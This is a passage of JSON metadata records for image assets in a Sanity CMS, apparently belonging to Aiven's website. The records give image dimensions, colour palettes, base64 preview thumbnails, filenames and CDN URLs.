#fff","population":4.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7bed2","foreground":"#000","population":0.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bcfa","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a28d66","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#613bea","foreground":"#fff","population":4.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6dbf4052a8164bd624c21ffec4f8fcb4845addd1-1567x844.png","path":"images/sczeoy4w/production/6dbf4052a8164bd624c21ffec4f8fcb4845addd1-1567x844.png","sha1hash":"6dbf4052a8164bd624c21ffec4f8fcb4845addd1","size":353471,"uploadId":"yufLzfH4QyBoAPD7w1h9jk7QJM72gSWl","url":"https://cdn.sanity.io/images/sczeoy4w/production/6dbf4052a8164bd624c21ffec4f8fcb4845addd1-1567x844.png"} {"_createdAt":"2022-06-30T20:10:18Z","_id":"image-6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042-jpg","_rev":"CK1sLU2mnwa3vmbYWEdeDu","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:08Z","assetId":"6deaa0be26978645df31d50fda5e6f689cf6dcaf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAS~ku%2#9%MR4^jfRspxaa#*JR*Txj=XT","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.399232245681382,"height":1042,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAII/8QAHhAAAgIBBQEAAAAAAAAAAAAAAQIAAxMEERIxQSL/xAAVAQEBAAAAAAAAAAAAAAAAAAABAP/EABgRAAIDAAAAAAAAAAAAAAAAAAARAQIh/9oADAMBAAIRAxEAPwDT1AvOXLYrAt8cfBKoFikqQxA6YnuIghmz0aZdSEbOyFuR22HnkREkM2en/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#713b27","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6573a","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f63c14","foreground":"#fff","population":1.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0bcd4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcec9f","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927a82","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63c14","foreground":"#fff","population":1.4,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042.jpg","path":"images/sczeoy4w/production/6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042.jpg","sha1hash":"6deaa0be26978645df31d50fda5e6f689cf6dcaf","size":178099,"uploadId":"B0DTVJNLCBet7GwHpi5Zd9An4MBAhccY","url":"https://cdn.sanity.io/images/sczeoy4w/production/6deaa0be26978645df31d50fda5e6f689cf6dcaf-2500x1042.jpg"} {"_createdAt":"2022-06-30T20:09:14Z","_id":"image-6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562-png","_rev":"CK1sLU2mnwa3vmbYWEdJrs","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:32Z","assetId":"6dec7156dc73db9e6fb641375f65543a19e47d99","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MESY~zI-Int7ae}[r_r_oMaxx@S0R%WBf7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0338078291814945,"height":562,"width":1143},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABP0lEQVQokZXRDWvcMAyA4fz/37h1W+l9sFwSf1uyHb/DuSv0yqCb4cEyMrKEJ2sMZtvw3qOq1FqprbHvO713xupP+nPcn03ZedIQI5IzIoKK0EqlPwofxR8PfGXK1pGcI4VAjvGgIdKGmNCU0Zypquy1/lUrhX00UBuTvy24ZSUYQ7SWZB3ZWGSzxz7Og/hASZman5WYGFOqD7SUmcK64td7wdHpSN59jD0SAjVlWpYnJSU0BMqYaBR0LmCMx9lAioLkcsiPXeRdRXVon1T0kaulMV1t5rR6TpvnaiOzE26usPjKFhomdkz6IH6S7mzqBOlML3bh+zbzss38MDd+2ZWz9cxWWENlizvmX6QdLzvTN/+TV3fm7H9zTTMXnVnUEFWR0g76hfc7ZfzySU685bfDpVyY24xvntoqrbX/9gckwgostVAWZwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#176d1f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#808080","foreground":"#fff","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4cec3","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99ea8f","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808080","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3ed64c","foreground":"#000","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562.png","path":"images/sczeoy4w/production/6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562.png","sha1hash":"6dec7156dc73db9e6fb641375f65543a19e47d99","size":78618,"uploadId":"Cx1RO81mRq0hI9i1I8Lrqz5DRFMxNb4A","url":"https://cdn.sanity.io/images/sczeoy4w/production/6dec7156dc73db9e6fb641375f65543a19e47d99-1143x562.png"} {"_createdAt":"2022-06-30T19:57:26Z","_id":"image-6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460-png","_rev":"QRl2cGoCgj0FlAhkRrhftV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:12Z","assetId":"6e01bc7190b198950411b6e165f1a9d7e62be94d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6O|tr0000000K~W?a^+^+t6-U_2-:?Hof~V?H-pj[oM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC+ElEQVQ4jVWT22sTQRTG9+/wQR8sPtgHKYqXolTx8qAPIij+G1YFoaXSNPaqqKjdmMQLQqAqBbF9KNRUELGgoqWVpheaS3ezsbud2+4mafvQ+WSmSagPH8POnPntOd+cY6SmvmLkyzTefvsu30//RPr3HJZWcijaNpxiEbZlwyqswrYslJwSPNcFJQSMUC1KiNqTjl3EamEVxo3UB9waGUP7yJi8+XYMsU9f8W1uCbMLeSxnLViWrQOVinYR7poLRik4ZQ0xQuW66+lz47qZktfMlLz89A2uminZN/4ZE7+WkZ7JYy5bgkcYKGUg6iIX8IMAlXIZlUqlLlmtVBCGofQ8TxpXHr/GxYcvcXYwjkuPXqFvfArTiwXM513YLoMfhvB9X4PKNUi1WtXa2NjA5uYmtra29DchBMalBy9wbjCBk70mzg8l0DuWRsZyIISPIAjVn8E511J7Gu6rswDlclmDFLQBvHA/ibb+OI5Fh3F6MIHoxzSWin91WeqCAlLGsE4pKONgNXjg+/osDMNGxhp4ZugFWvviOBw1cWogie6PU1h01nRpCqgyIZTCUy/KBbgQELtgvu83bKCUwjjVn8Cx3jhaIiZO9CXQ9SGtgdXdQNUangdvnexkygVEEGhfhRCN0hljMI5HY2jpNtHc9RRHemLoGJ1Exi79lyGtA5UI0S9O+U75jLGGnypboyUSw8GuZ2jqeIJDkRjujE5ivgasQ9VFVfZu1f1kNaCKVRYYzZG4bLobk/s6h9Hck5C3R9OYL65ho9YWKpALXwNUP6qm1o3NOIQqnXNZexi1SuNAdxx7u2LY02HKA5Ek2ken8Mf62/BFKfADBIwj5OI/lYWP0A+Un9LjAi5lKsOE3H/3udzXaeJgT1LefP8Js3lbm13vOaZm11sHJwRcj11NRI+gdFwPmYIlF/Kr0mjrT2633kvIo9E4Tg+8lJ3vJvAjs4xSqQTHcWDbNvK5HLIrK8jlcshlczur2stmleTSShYzmUU5M7+w/Q+JD8d+DX3KagAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584d52","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09768b","foreground":"#fff","population":0.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c92a1","foreground":"#fff","population":2.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c4bb","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc9e5","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c92a1","foreground":"#fff","population":2.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#337cba","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460.png","path":"images/sczeoy4w/production/6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460.png","sha1hash":"6e01bc7190b198950411b6e165f1a9d7e62be94d","size":37247,"uploadId":"Wm8owcaowIyP0PY4Y8zZJxQ0GhWGn7dG","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e01bc7190b198950411b6e165f1a9d7e62be94d-640x460.png"} {"_createdAt":"2023-01-17T09:47:31Z","_id":"image-6e51bfa5d9a9d25701a50fa2a3ecf476df82457c-1440x701-png","_rev":"f7ZLB5gHWjAMj1Yrt8IJ6b","_type":"sanity.imageAsset","_updatedAt":"2023-01-17T09:48:26Z","altText":"The Aiven console interface showing the connector configuration screen","assetId":"6e51bfa5d9a9d25701a50fa2a3ecf476df82457c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.0542082738944365,"height":701,"width":1440},"exif":{"ColorSpace":1,"PixelXDimension":1440,"PixelYDimension":701,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAABNUlEQVQokZ2S247DIAxE+f+v3JWaNjeCwYbcM5VJm0httw+LNApC+HjGxNDvD+qiAJFHSj3GccKyLFjX9U16Pk0zpmnCPM/5rrDAtxautQiBYahuQJbAQcAsiDHlghO6Ydu2/NVz7xldRyAKGeApgJzfRQHGWw/2AuEE5piB2lkdKFBhTw3DiKbpcLmUKIoKZdmgqlrUtUXbOlhLMN4xOESI9IixR98PR6TX6ArUQoVdrxVut/qAaqMMJNKoKQM1zh5FIDHlmWoDBal0LxLzPZXeCw9pOpEEQ+pQgZzybJrGwloH53wuUoA6Vyl0nhcsy/qnjPdnXB/kdCjvDnUMOstvyzzjxjggZRc6w31+u87ur4/0SUYcIyvEDBzH8XiMb4W6Prk1UjmE0oK7AOH4+Ll36H+Ad0ixCkEH2mn9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443c34","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#750e10","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cfa1af","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfa1af","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcccac","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b07c80","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec6a6c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"http-sink-config.png","path":"images/sczeoy4w/production/6e51bfa5d9a9d25701a50fa2a3ecf476df82457c-1440x701.png","sha1hash":"6e51bfa5d9a9d25701a50fa2a3ecf476df82457c","size":131615,"title":null,"uploadId":"T0no9E5OiPjoh7oNNQ50zDjzwwb06RDo","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e51bfa5d9a9d25701a50fa2a3ecf476df82457c-1440x701.png"} {"_createdAt":"2023-09-15T11:53:42Z","_id":"image-6e566df9891d8362420fcd63bf51e734d13f4dd7-2768x892-png","_rev":"A2l0xGIDux4HKnJ2ZbNHaB","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:42Z","assetId":"6e566df9891d8362420fcd63bf51e734d13f4dd7","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.103139013452915,"height":892,"width":2768},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAgklEQVQYlW2OQRLFIAhDPY+gdCHE3v9iv0Bt7czPZBElw6OIHCJH79K7tNaZGxETUQ3fuVYPzMxtmYm4mAEGcyFsGhphD0OHSzVKOY1o5QxNYM4zvCleWMo/wAGZSw42suenvUavPuSntO92al60fv7WSq5R1R115zl3YF4LIJde5B+6gEqO6pHJiQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f40","foreground":"#fff","population":8.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3f40","foreground":"#fff","population":8.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8d8d8d","foreground":"#fff","population":5.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":2.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"complete-backend-call-result.png","path":"images/sczeoy4w/production/6e566df9891d8362420fcd63bf51e734d13f4dd7-2768x892.png","sha1hash":"6e566df9891d8362420fcd63bf51e734d13f4dd7","size":193579,"uploadId":"gF8iSFNRxgqBoOhcwdcT5RDuAvkBKY9y","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e566df9891d8362420fcd63bf51e734d13f4dd7-2768x892.png"} {"_createdAt":"2022-08-29T12:46:08Z","_id":"image-6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527-jpg","_rev":"NtJpmdKTpdEgU65ZHCFhPW","_type":"sanity.imageAsset","_updatedAt":"2022-09-23T21:40:31Z","altText":"Man sitting cross leg with laptop","assetId":"6e59ce95700f17f77378a0019ccae5bfb3aead41","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPPZP=?wa~D%_3PDIUkCxZbc~VD%Rj%MIo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8804554079696394,"height":527,"width":991},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGBAf/xAAiEAABAwMFAAMAAAAAAAAAAAABAgMEAAURBhITITEHImH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABwRAAEDBQAAAAAAAAAAAAAAAAACAxEBExQhUf/aAAwDAQACEQMRAD8A7rIgXJUha2pQCCrISVHqpv5D1TMsEZqOAnneT9SkHvHtWzaQH1EZyf2s1ztsOetkzI7bxbOU7xnFAt6dFCWoFunNVQLjZ476neNZTtUlQ7BHtFNo8GKw3sZjtIQD4Eiijya8EspP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414143","foreground":"#fff","population":7.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1354bf","foreground":"#fff","population":0.55,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#414143","foreground":"#fff","population":7.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9593","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cacfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a459a9","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef572a","foreground":"#fff","population":1.48,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"promo-aiven-for-developer.jpe.jpg","path":"images/sczeoy4w/production/6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527.jpg","sha1hash":"6e59ce95700f17f77378a0019ccae5bfb3aead41","size":189242,"title":null,"uploadId":"L7otZSwceJS2gApFWx1dPRqFpgUjfhjC","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e59ce95700f17f77378a0019ccae5bfb3aead41-991x527.jpg"} {"_createdAt":"2023-10-16T07:19:05Z","_id":"image-6e7a314af8e340e4d2f624334826153d5b6ff1e6-7950x3346-png","_rev":"oVKLF5tNtw07ELMy9kupAw","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:19:05Z","assetId":"6e7a314af8e340e4d2f624334826153d5b6ff1e6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.375971309025702,"height":3346,"width":7950},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABYlAAAWJQFJUiTwAAABMElEQVQokV1Rya7jMAzL///g3Oby5tgijTft4kDuguIZYCjJEhnbR2ZGPhf2p1ZRJiISkxVtKRot/L3+4c/5g0uoepEZL36PJY7fgsURAfeAm2MuwtUmBjFOHrhxB5lCRLHWAjPD3V8zjgNAlPi2KJOI3VxCwgJhBi2Cqj2H8jlYQmOMLSoiOy8+IiLMPc28GtPNQERore/mysMdZVTXUCcowbcIlyHRZlXFMcaIx9XyfFw5xkxhThHJtVbORcmiZZZlpmrJYimqqV8ws71f6zjPR97vd9xud1ytbSdTBRGjjYk+5o6r3sfA1cauvY9a1/D9MAcR2VrLC8zsZrZBRD7n/NQr773747o2Kq56RDiA+r2NeuWWmf0bEdGZuRPRZhHpqvqprbV2bGa7H8Bn9j9PiHFmS5wgBQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c6123","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4d8","foreground":"#000","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4d8","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7f4a2","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#72bb6e","foreground":"#000","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6cc45c","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"db-to-kafka.png","path":"images/sczeoy4w/production/6e7a314af8e340e4d2f624334826153d5b6ff1e6-7950x3346.png","sha1hash":"6e7a314af8e340e4d2f624334826153d5b6ff1e6","size":774296,"uploadId":"qqTLkjYStO1equS7z0TlLBtTjR1zTr5g","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e7a314af8e340e4d2f624334826153d5b6ff1e6-7950x3346.png"} {"_createdAt":"2023-02-08T05:59:46Z","_id":"image-6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737-png","_rev":"q6IvLca7BfVqZtRwbsE5pz","_type":"sanity.imageAsset","_updatedAt":"2023-02-08T05:59:46Z","assetId":"6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9S$ovxaIAn$Di~qR.R-W=tR%LV@s.WAoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.354138398914518,"height":737,"width":1735},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAAA+UlEQVQYlV1Ry24DIRDj/7+yqlKpSTZtgHkblgpWGyn1gQNjj2xPElEiZpaI6Ps+xthPjIXed6C11v79jzGSmqtaePTej1lrfXJPdu8dQMRasNAXAKT7k3NhV2sNBxto7h4ea0uPQESoublHhJmZzodZ0sc137anUAX8FENVVRSAezCLLXciampUiSoxcSmULrf7dt+45imeeQcAEREWAGZGxO5+OI8IYZmbRXOu6fH4yo+rUAHiZdvMzSwi3F1VZ5cnsKBmU/y7Xcq7+Chs5VSZZvVIi1V673OqaqWUpNun/HwL5ViZX6cCQMJViGXqZ4URr6rNvJT6Bzvj0tjQN9D1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d6366","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#235a89","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c6b9be","foreground":"#000","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6b9be","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d493","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#587e9b","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eec854","foreground":"#000","population":0.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737.png","path":"images/sczeoy4w/production/6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737.png","sha1hash":"6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5","size":137838,"uploadId":"S9rX34pSmIcZQxG7YhhF0dqqlcQj7svG","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e86ef97a88ba30b24f89c8529c3ec68c7f2daf5-1735x737.png"} {"_createdAt":"2022-08-15T15:40:16Z","_id":"image-6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8-48x48-svg","_rev":"HosDT9snWCxUYvGzNYIgZQ","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:40:16Z","assetId":"6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADR0lEQVQ4jZVVS0wTURQdFpAoIp8qKjSiG8ECgRg/CSsRomwEmhgFBReARDQYdaFbjRgXRljohrhxpwsJiUpcaYIBQQTDx1YGqxna2hSGpi0ypO3M3GfO61A+rRKb3PTlvXfPu59zzwi9vW8Ft9sjMMaEyUl7kig6TJLkOuHxeDtk2ffe7w94gsHFMAxr7Hk83nu4g7sTE/Yk+LpcHqGnp0/gYC+e9wo2m5giSa4Cr3f+SiAQ7FGUZTEcDvsjETWsqqoOwxp7OMMdr3e+TZJc+TbbdEpn5ysOyiMD2Oysu1SWfR1LS8pEJKIquk7sbz+c4Q7uyrKvA74ABRZPE5HhQFGWv2uapum6znRdp02MqaqmKcryzMKCrwORAksQxR8mpInXlhRFc/yU6OPwKPUPfKIPg4mtf2CYBoc+08z3n7T4e0mD79zcfJsoOrIEFNfvD/aoqqo43R726PFTqqlroZM1DazK2kinarkxwyi618BOn22i+w+fkOOHxCKRiIKaSpKzXEA3UWQiYl/tIl1svUk78krZtt0HKW2PBf9xlrqrgDLNxexMw2UaGR0nTdMYMNB9ATQIhcJ+FHvy6zc633QNgNxhe04h25qdv85SdxWwLTsP4Ixq61poaGSM1xPdl2XfOwHcAh1WAC80rwKm5xZxgI0G4PScQrLWX6KhkS9Gg1Tw9JcAwoJjayMEGByR3sYIVwzR164AEqHjeiCwGBICgQ2Azdcow1zE0wJo9v5DrPBIJTt6vJqVllUxc/4x/hAArYkAE6WcaS4mAKIpliOVrPnqLXbnQRe7fvsuK6uwsozcIl5Da31rfMrxTWmnjNwiDohI8ixlDBQ639TOqs81M8vhCv5Q2h4LRVMeW98UtHo9bW6QaW8Jp0aakZopr4SnvmNfKUM5YrRpjNGGgPELtElE7NoYsS9yYmNtmEH0fxBbFB0Yvbb40RveZPRG147eeGz0oGcYbEMcZv5THFQuDnJUHKam7EmGfE2nOJ3uEkO+xjeXL50M+Ro35KvEZhOTuXxBFLu6+jgoXkHoKwIbSiCwYES8wIrJ3d3PuFgLL1++4aBrPgFZkuQqR/dBA3ArGFwMwbDGXvQT4CzHXfisfgJeC38AWViC5B+HSk4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3c54","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b142c","foreground":"#fff","population":8.42,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0b142c","foreground":"#fff","population":8.42,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbd","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94aae4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f848a","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#335ccc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aiven-cli.svg","path":"images/sczeoy4w/production/6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8-48x48.svg","sha1hash":"6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8","size":508,"uploadId":"znCOJHtTosQPUtvBhXGcsEQFUoR7Hto3","url":"https://cdn.sanity.io/images/sczeoy4w/production/6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8-48x48.svg"} 